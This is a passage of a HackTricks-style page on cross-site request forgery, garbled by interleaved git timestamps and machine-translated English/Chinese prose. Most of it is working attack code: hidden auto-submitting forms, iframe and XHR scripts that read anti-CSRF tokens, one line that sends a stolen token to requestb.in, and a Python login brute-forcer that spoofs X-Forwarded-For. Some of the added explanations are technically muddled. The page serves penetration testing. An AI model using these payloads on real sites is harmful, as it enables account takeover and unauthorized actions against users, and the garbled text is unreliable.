To achieve this, you can create an iframe with the same origin as the form's target URL. Then, you can dynamically create a form within the iframe and submit it programmatically.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
为了实现这一点,您可以创建一个与表单目标 URL 具有相同源的 iframe。然后, 您可以在 iframe 中动态创建一个表单,并以编程方式提交它。
Here's an example of how you can accomplish this using JavaScript:
以下是使用 JavaScript 实现此功能的示例:
2023-08-03 19:12:22 +00:00
```html
2023-08-24 09:57:53 +00:00
< iframe id = "myFrame" src = "https://example.com" > < / iframe >
2023-08-03 19:12:22 +00:00
< script >
2023-08-24 09:57:53 +00:00
// Get the iframe element
var iframe = document.getElementById('myFrame');
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
// Create a form element
2023-08-03 19:12:22 +00:00
var form = document.createElement('form');
form.method = 'POST';
2023-08-24 09:57:53 +00:00
form.action = 'https://example.com/submit';
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
// Create form fields
2023-08-03 19:12:22 +00:00
var input1 = document.createElement('input');
input1.type = 'hidden';
2023-08-24 09:57:53 +00:00
input1.name = 'username';
input1.value = 'admin';
2023-08-03 19:12:22 +00:00
var input2 = document.createElement('input');
input2.type = 'hidden';
2023-08-24 09:57:53 +00:00
input2.name = 'password';
input2.value = 'password123';
// Append form fields to the form
form.appendChild(input1);
2023-08-03 19:12:22 +00:00
form.appendChild(input2);
2023-08-24 09:57:53 +00:00
// Append the form to the iframe
2023-08-03 19:12:22 +00:00
iframe.contentDocument.body.appendChild(form);
// Submit the form
form.submit();
< / script >
```
2023-08-24 09:57:53 +00:00
In this example, an iframe with the id "myFrame" is created and its source is set to "https://example.com". Then, a form is dynamically created within the iframe and populated with hidden input fields. Finally, the form is submitted programmatically.
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
在这个示例中,创建了一个 id 为 "myFrame" 的 iframe, 并将其源设置为 "https://example.com"。然后,在 iframe 中动态创建一个表单,并填充隐藏的输入字段。最后,以编程方式提交表单。
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
This technique can be used for various purposes, including performing Cross-Site Request Forgery (CSRF) attacks. It is important to note that CSRF attacks are illegal and unethical unless performed with proper authorization and for legitimate security testing purposes.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
这种技术可以用于各种目的, 包括执行跨站请求伪造( CSRF) 攻击。需要注意的是, 除非经过适当授权并用于合法的安全测试目的, 否则执行 CSRF 攻击是非法和不道德的。
2020-07-15 15:43:14 +00:00
```markup
< -- ! expl . html -- >
< body onload = "envia()" >
< form method = "POST" id = "formulario" action = "http://aplicacion.example.com/cambia_pwd.php" >
< input type = "text" id = "pwd" name = "pwd" value = "otra nueva" >
< / form >
< body >
< script >
function envia(){document.getElementById("formulario").submit();}
< / script >
<!-- public.html -->
< iframe src = "2-1.html" style = "position:absolute;top:-5000" >
< / iframe >
< h1 > Sitio bajo mantenimiento. Disculpe las molestias< / h1 >
```
2023-08-03 19:12:22 +00:00
### **窃取CSRF令牌并发送POST请求**
2023-08-24 09:57:53 +00:00
In this technique, we will steal the CSRF token from a legitimate user and use it to craft a malicious POST request. This attack is known as Cross-Site Request Forgery (CSRF).
在这个技术中, 我们将窃取合法用户的CSRF令牌, 并使用它来构造恶意的POST请求。这种攻击被称为跨站请求伪造( CSRF) 。
1. **Identify the target** : First, we need to identify the target website that is vulnerable to CSRF attacks.
**识别目标** : 首先, 我们需要识别易受CSRF攻击的目标网站。
2. **Analyze the website** : Next, we analyze the website to find out how the CSRF token is generated and included in the requests.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
**分析网站** : 接下来, 我们分析网站, 找出CSRF令牌是如何生成并包含在请求中的。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
3. **Steal the CSRF token** : We can steal the CSRF token by tricking a legitimate user into visiting a malicious website or by exploiting a vulnerability on the target website.
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
**窃取CSRF令牌** : 我们可以通过诱使合法用户访问恶意网站或利用目标网站上的漏洞来窃取CSRF令牌。
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
4. **Craft a malicious POST request** : Once we have the CSRF token, we can craft a malicious POST request with the stolen token and send it to the target website.
**构造恶意的POST请求** : 一旦我们获得了CSRF令牌, 我们可以使用窃取的令牌构造一个恶意的POST请求, 并将其发送到目标网站。
5. **Exploit the vulnerability** : If the target website does not have proper CSRF protection in place, it will process the malicious POST request and perform the desired action on behalf of the legitimate user.
**利用漏洞** : 如果目标网站没有适当的CSRF保护措施, 它将处理恶意的POST请求, 并代表合法用户执行所需的操作。
It is important to note that CSRF attacks can have serious consequences, such as unauthorized actions performed on behalf of the user or data leakage. Therefore, it is crucial for web developers to implement proper CSRF protection mechanisms to prevent such attacks.
需要注意的是, CSRF攻击可能会产生严重后果, 例如以用户名义执行未经授权的操作或数据泄露。因此, 对于Web开发人员来说, 实施适当的CSRF保护机制以防止此类攻击至关重要。
2020-07-15 15:43:14 +00:00
```javascript
function submitFormWithTokenJS(token) {
2023-08-03 19:12:22 +00:00
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE & & xhr.status === 200) {
//console.log(xhr.responseText);
}
}
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
xhr.send("token=" + token + "&otherparama=heyyyy");
2020-07-15 15:43:14 +00:00
}
function getTokenJS() {
2023-08-03 19:12:22 +00:00
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE & & xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
2020-07-15 15:43:14 +00:00
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
2023-08-03 19:12:22 +00:00
### **窃取CSRF令牌并使用iframe、表单和Ajax发送Post请求**
2023-08-24 09:57:53 +00:00
In this technique, we will exploit the vulnerability of Cross-Site Request Forgery (CSRF) by stealing the CSRF token and using it to send a malicious POST request. We will accomplish this by utilizing an iframe, a form, and Ajax.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
在这个技术中, 我们将利用跨站请求伪造( CSRF) 的漏洞, 窃取CSRF令牌并使用它发送恶意的POST请求。我们将通过使用iframe、表单和Ajax来实现这一目标。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
#### **Step 1: Stealing the CSRF Token**
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
#### **步骤1: 窃取CSRF令牌**
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
To begin, we need to find a way to steal the CSRF token from the target website. This can be done by analyzing the website's source code or using browser developer tools. Once we have identified the location of the CSRF token, we can extract it using JavaScript.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
首先, 我们需要找到一种方法来窃取目标网站的CSRF令牌。这可以通过分析网站的源代码或使用浏览器开发者工具来完成。一旦我们确定了CSRF令牌的位置, 我们就可以使用JavaScript来提取它。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
#### **Step 2: Creating an iframe**
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
#### **步骤2: 创建一个iframe**
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
Next, we will create an iframe element in our malicious webpage. This iframe will be used to load the target website's page that contains the form we want to submit. By loading the target website within our iframe, we can manipulate the form and submit it without the user's knowledge.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
接下来, 我们将在恶意网页中创建一个iframe元素。这个iframe将用于加载包含我们想要提交的表单的目标网站页面。通过在我们的iframe中加载目标网站, 我们可以在用户不知情的情况下操纵表单并提交它。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
#### **Step 3: Manipulating the form**
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
#### **步骤3: 操纵表单**
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
Once the target website's page is loaded within our iframe, we can use JavaScript to manipulate the form. We will set the form's action attribute to the URL where we want to send the malicious POST request. We will also set the form's method attribute to "POST" and include any necessary input fields with their corresponding values.
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
一旦目标网站的页面在我们的iframe中加载完成, 我们就可以使用JavaScript来操纵表单。我们将把表单的action属性设置为我们想要发送恶意POST请求的URL。我们还将把表单的method属性设置为“POST”, 并包含任何必要的输入字段及其相应的值。
#### **Step 4: Sending the POST request**
#### **步骤4: 发送POST请求**
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
Finally, we will use Ajax to send the manipulated form data as a POST request to the target website's server. By doing this, we can bypass any CSRF protection mechanisms that may be in place. The server will process the request as if it came from a legitimate source, allowing us to perform unauthorized actions on behalf of the user.
最后, 我们将使用Ajax将操纵后的表单数据作为POST请求发送到目标网站的服务器。通过这样做, 我们可以绕过可能存在的任何CSRF保护机制。服务器将处理该请求, 就好像它来自一个合法的来源, 使我们能够代表用户执行未经授权的操作。
It is important to note that this technique is highly unethical and illegal unless performed with proper authorization during a penetration testing engagement.
需要注意的是,除非在渗透测试过程中经过适当授权,否则这种技术是非常不道德和非法的。
2020-07-15 15:43:14 +00:00
```markup
< form id = "form1" action = "http://google.com?param=VALUE" method = "post" enctype = "multipart/form-data" >
< input type = "text" name = "username" value = "AA" >
< input type = "checkbox" name = "status" checked = "checked" >
< input id = "token" type = "hidden" name = "token" value = "" / >
< / form >
< script type = "text/javascript" >
function f1(){
2023-08-03 19:12:22 +00:00
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
2020-07-15 15:43:14 +00:00
}
2023-08-03 19:12:22 +00:00
< / script >
2020-07-15 15:43:14 +00:00
< iframe id = "i1" style = "display:none" src = "http://google.com?param=VALUE" onload = "javascript:f1();" > < / iframe >
```
2023-08-03 19:12:22 +00:00
### **窃取CSRF令牌并使用iframe和表单发送POST请求**
2023-08-24 09:57:53 +00:00
To perform a Cross-Site Request Forgery (CSRF) attack, you need to steal the CSRF token from the target website and then use it to send a malicious POST request. One way to achieve this is by utilizing an iframe and a form.
首先, 你需要从目标网站窃取CSRF令牌, 然后使用它发送恶意的POST请求来执行跨站请求伪造( CSRF) 攻击。其中一种方法是利用iframe和表单。
1. Create an iframe element in your attacker-controlled website. Set the source of the iframe to the target website's page that contains the CSRF token.
在攻击者控制的网站中创建一个iframe元素。将iframe的源设置为包含CSRF令牌的目标网站页面。
```html
< iframe src = "https://target-website.com/csrf-page" > < / iframe >
```
2. Use JavaScript to access the content of the iframe and extract the CSRF token.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
使用JavaScript访问iframe的内容并提取CSRF令牌。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
```javascript
var iframe = document.getElementsByTagName('iframe')[0];
var csrfToken = iframe.contentDocument.getElementById('csrf-token').value;
```
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
3. Create a hidden form element in your attacker-controlled website. Set the action attribute of the form to the target website's vulnerable endpoint.
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
在攻击者控制的网站中创建一个隐藏的表单元素。将表单的action属性设置为目标网站的易受攻击的端点。
```html
< form id = "csrf-form" action = "https://target-website.com/vulnerable-endpoint" method = "POST" >
< input type = "hidden" name = "csrf-token" value = "" >
< / form >
```
4. Use JavaScript to set the value of the hidden input field to the stolen CSRF token.
使用JavaScript将隐藏输入字段的值设置为窃取的CSRF令牌。
```javascript
var form = document.getElementById('csrf-form');
form.elements['csrf-token'].value = csrfToken;
```
5. Use JavaScript to submit the form automatically.
使用JavaScript自动提交表单。
```javascript
form.submit();
```
By combining the iframe and form techniques, you can steal the CSRF token and send a POST request on behalf of the victim user without their knowledge or consent.
通过结合iframe和表单技术, 你可以在用户不知情或未经同意的情况下窃取CSRF令牌并代表受害者用户发送POST请求。
2020-07-15 15:43:14 +00:00
```markup
< iframe id = "iframe" src = "http://google.com?param=VALUE" width = "500" height = "500" onload = "read()" > < / iframe >
2023-08-03 19:12:22 +00:00
< script >
2020-07-15 15:43:14 +00:00
function read()
{
2023-08-03 19:12:22 +00:00
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('< form width = "0" height = "0" method = "post" action = "http://www.yoursebsite.com/check.php" enctype = "multipart/form-data" > ');
document.writeln('< input id = "username" type = "text" name = "username" value = "' + name + '" / > < br / > ');
document.writeln('< input id = "token" type = "hidden" name = "token" value = "' + token + '" / > ');
document.writeln('< input type = "submit" name = "submit" value = "Submit" / > < br / > ');
document.writeln('< / form > ');
document.forms[0].submit.click();
2020-07-15 15:43:14 +00:00
}
< / script >
```
2023-08-03 19:12:22 +00:00
### **窃取令牌并使用2个iframe发送**
2023-08-24 09:57:53 +00:00
In this technique, we will steal the CSRF token from the target website and send it to our own server using two iframes. This allows us to bypass the same-origin policy and perform unauthorized actions on behalf of the victim user.
#### **Step 1: Stealing the CSRF token**
To steal the CSRF token, we need to trick the victim into visiting a malicious website controlled by us. This can be done through various methods, such as sending a phishing email or exploiting a vulnerability in the target website.
Once the victim visits our malicious website, we can use JavaScript to extract the CSRF token from the target website's HTML source code. We can then store this token in a variable for later use.
#### **Step 2: Sending the stolen token**
Now that we have the stolen CSRF token, we can send it to our own server using two iframes. The first iframe will be used to make a GET request to the target website's endpoint that requires the CSRF token. We will include the stolen token as a parameter in the URL.
```html
< iframe src = "https://www.target-website.com/endpoint?csrf_token=<stolen_token>" style = "display:none;" > < / iframe >
```
The second iframe will be used to make a POST request to the same endpoint, this time including the stolen token in the request body.
```html
< iframe src = "https://www.target-website.com/endpoint" style = "display:none;" >
< form method = "POST" >
< input type = "hidden" name = "csrf_token" value = "<stolen_token>" >
< / form >
< / iframe >
```
By using two iframes, we ensure that both the GET and POST requests are made, allowing us to successfully perform the CSRF attack.
#### **Step 3: Performing unauthorized actions**
Once the stolen token is sent to our server, we can use it to perform unauthorized actions on behalf of the victim user. This can include changing account settings, making purchases, or performing any other action that the victim user is authorized to do.
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
It is important to note that this technique relies on the victim being authenticated on the target website. If the victim is not logged in, the CSRF token will not be valid and the attack will fail.
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
By using this technique, an attacker can exploit CSRF vulnerabilities to gain unauthorized access to user accounts and perform malicious actions. It is important for developers to implement proper CSRF protection mechanisms to prevent such attacks.
2020-07-15 15:43:14 +00:00
```markup
< script >
var token;
function readframe1(){
2023-08-03 19:12:22 +00:00
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
2020-07-15 15:43:14 +00:00
}
function loadframe2(){
2023-08-03 19:12:22 +00:00
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
2020-07-15 15:43:14 +00:00
}
< / script >
2023-08-03 19:12:22 +00:00
< iframe id = "frame1" name = "frame1" src = "http://google.com?param=VALUE" onload = "readframe1()"
2020-07-15 15:43:14 +00:00
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800">< / iframe >
2023-08-03 19:12:22 +00:00
< iframe id = "frame2" name = "frame2"
2020-07-15 15:43:14 +00:00
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800">< / iframe >
< body onload = "document.forms[0].submit()" >
< form id = "bypass" name " bypass " method = "POST" target = "frame2" action = "http://google.com?param=VALUE" enctype = "multipart/form-data" >
2023-08-03 19:12:22 +00:00
< input type = "text" name = "username" value = "z" >
< input type = "checkbox" name = "status" checked = "" >
< input id = "token" type = "hidden" name = "token" value = "0000" / >
< button type = "submit" > Submit< / button >
< / form >
```
### **使用Ajax窃取CSRF令牌并通过表单发送POST请求**
2023-08-24 09:57:53 +00:00
To perform a Cross-Site Request Forgery (CSRF) attack, you can use Ajax to steal the CSRF token and then send a POST request using a form.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
要执行跨站请求伪造( CSRF) 攻击, 可以使用Ajax来窃取CSRF令牌, 然后使用表单发送POST请求。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
```javascript
2023-08-24 09:57:53 +00:00
< script >
// Step 1: Steal the CSRF token using Ajax
var xhr = new XMLHttpRequest();
xhr.open('GET', '/get-csrf-token', true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 & & xhr.status === 200) {
var csrfToken = xhr.responseText;
// Step 2: Send a POST request with the stolen CSRF token
var form = document.createElement('form');
form.method = 'POST';
form.action = '/transfer-money';
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'csrf_token';
input.value = csrfToken;
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
};
xhr.send();
< / script >
2023-08-03 19:12:22 +00:00
```
2023-08-24 09:57:53 +00:00
The above code demonstrates how to steal the CSRF token using Ajax and then send a POST request with the stolen token.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
上述代码演示了如何使用Ajax窃取CSRF令牌, 然后使用窃取的令牌发送POST请求。
2020-07-15 15:43:14 +00:00
```markup
< body onload = "getData()" >
< form id = "form" action = "http://google.com?param=VALUE" method = "POST" enctype = "multipart/form-data" >
2023-08-03 19:12:22 +00:00
< input type = "hidden" name = "username" value = "root" / >
< input type = "hidden" name = "status" value = "on" / >
< input type = "hidden" id = "findtoken" name = "token" value = "" / >
< input type = "submit" value = "valider" / >
2020-07-15 15:43:14 +00:00
< / form >
< script >
var x = new XMLHttpRequest();
function getData() {
2023-08-03 19:12:22 +00:00
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
2020-07-15 15:43:14 +00:00
}
x.onreadystatechange = function() {
2023-08-03 19:12:22 +00:00
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
2020-07-15 15:43:14 +00:00
}
< / script >
```
2023-08-03 19:12:22 +00:00
### 使用 Socket.IO 进行 CSRF 攻击
2023-08-24 09:57:53 +00:00
Cross-Site Request Forgery( 跨站请求伪造, CSRF) 是一种利用受害者在已经通过身份验证的网站上执行非预期操作的攻击方式。在这种攻击中, 攻击者通过欺骗受害者执行恶意请求, 从而利用受害者的身份进行非法操作。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
Socket.IO 是一个用于实时应用程序的 JavaScript 库,它允许服务器和客户端之间进行双向通信。由于 Socket.IO 的特性,攻击者可以利用它来执行 CSRF 攻击。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
以下是使用 Socket.IO 进行 CSRF 攻击的步骤:
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
1. 攻击者创建一个恶意网站,并在其中插入恶意代码。
2. 受害者在已经通过身份验证的网站上登录。
3. 受害者访问恶意网站,恶意代码会向已经通过身份验证的网站发送 CSRF 请求。
4. 由于受害者已经通过身份验证,服务器会认为这是一个合法的请求,并执行相应的操作。
5. 攻击者成功利用 CSRF 攻击,执行了非预期的操作。
2020-08-06 20:38:54 +00:00
2023-08-24 09:57:53 +00:00
为了防止 CSRF 攻击,开发人员可以采取以下措施:
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
- 实施 CSRF 令牌:在每个表单或请求中包含一个唯一的令牌,用于验证请求的合法性。
- 检查 Referer 头:服务器可以检查请求的 Referer 头,确保请求来自预期的来源。
- 使用 SameSite Cookie 属性:将 Cookie 的 SameSite 属性设置为 Strict 或 Lax, 以限制 Cookie 的跨站传递。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
通过了解 CSRF 攻击的原理和采取相应的防护措施,开发人员可以有效地保护他们的应用程序免受此类攻击的威胁。
2020-08-06 20:38:54 +00:00
```markup
< script src = "https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js" > < / script >
< script >
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
2023-08-03 19:12:22 +00:00
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
2020-08-06 20:38:54 +00:00
});
< / script >
```
2023-08-03 19:12:22 +00:00
## CSRF登录暴力破解
2020-08-06 20:38:54 +00:00
2023-08-03 19:12:22 +00:00
该代码可以使用CSRF令牌对登录表单进行暴力破解( 还使用了X-Forwarded-For头部来尝试绕过可能的IP黑名单) :
2020-11-06 18:22:38 +00:00
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
2023-08-03 19:12:22 +00:00
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
2020-11-06 18:22:38 +00:00
def login(user, password):
2023-08-03 19:12:22 +00:00
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
2020-11-06 18:22:38 +00:00
with open(PASS_LIST, "r") as f:
2023-08-03 19:12:22 +00:00
for line in f:
login(USER, line.strip())
2020-11-06 18:22:38 +00:00
```
2023-08-03 19:12:22 +00:00
## 工具 <a href="#tools" id="tools"></a>
2020-07-15 15:43:14 +00:00
* [https://github.com/0xInfection/XSRFProbe ](https://github.com/0xInfection/XSRFProbe )
2022-09-26 09:52:47 +00:00
* [https://github.com/merttasci/csrf-poc-generator ](https://github.com/merttasci/csrf-poc-generator )
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
## 参考资料
2020-07-15 15:43:14 +00:00
* [https://portswigger.net/web-security/csrf ](https://portswigger.net/web-security/csrf )
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html ](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html )
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
2023-07-31 15:59:11 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-07-14 15:03:41 +00:00
2023-08-03 19:12:22 +00:00
**HackenProof 是所有加密货币赏金的家园。**
2023-07-14 15:03:41 +00:00
2023-08-03 19:12:22 +00:00
**即时获得奖励**\
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
2023-02-27 09:28:45 +00:00
2023-08-03 19:12:22 +00:00
**在 web3 渗透测试中积累经验**\
2023-08-24 09:57:53 +00:00
区块链协议和智能合约是新的互联网!掌握 web3 安全的崛起之日。
2022-10-27 23:22:18 +00:00
2023-08-03 19:12:22 +00:00
**成为 web3 黑客传奇**\
2023-08-24 09:57:53 +00:00
每次验证的漏洞都会获得声誉积分,并登上每周排行榜的榜首。
2023-02-27 09:28:45 +00:00
2023-08-03 19:12:22 +00:00
[**在 HackenProof 上注册** ](https://hackenproof.com/register ) 开始从您的黑客攻击中获利!
2023-02-27 09:28:45 +00:00
2023-07-14 15:03:41 +00:00
{% embed url="https://hackenproof.com/register" %}
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
< details >
2023-08-24 09:57:53 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-24 09:57:53 +00:00
* 您在**网络安全公司**工作吗?您想在 HackTricks 中看到您的**公司广告**吗?或者您想获得最新版本的 PEASS 或下载 PDF 格式的 HackTricks 吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
2023-08-03 19:12:22 +00:00
* 发现我们的独家 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 集合 [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )
* 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
2023-08-24 09:57:53 +00:00
* **加入** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord 群组** ](https://discord.gg/hRep4RUj7f ) 或 [**Telegram 群组** ](https://t.me/peass ),或在 **Twitter** 上 **关注**我 [** 🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
2023-08-03 19:12:22 +00:00
* **通过向** [**hacktricks 仓库** ](https://github.com/carlospolop/hacktricks ) **和** [**hacktricks-cloud 仓库** ](https://github.com/carlospolop/hacktricks-cloud ) **提交 PR 来分享您的黑客技巧。**
2022-04-28 16:01:33 +00:00
< / details >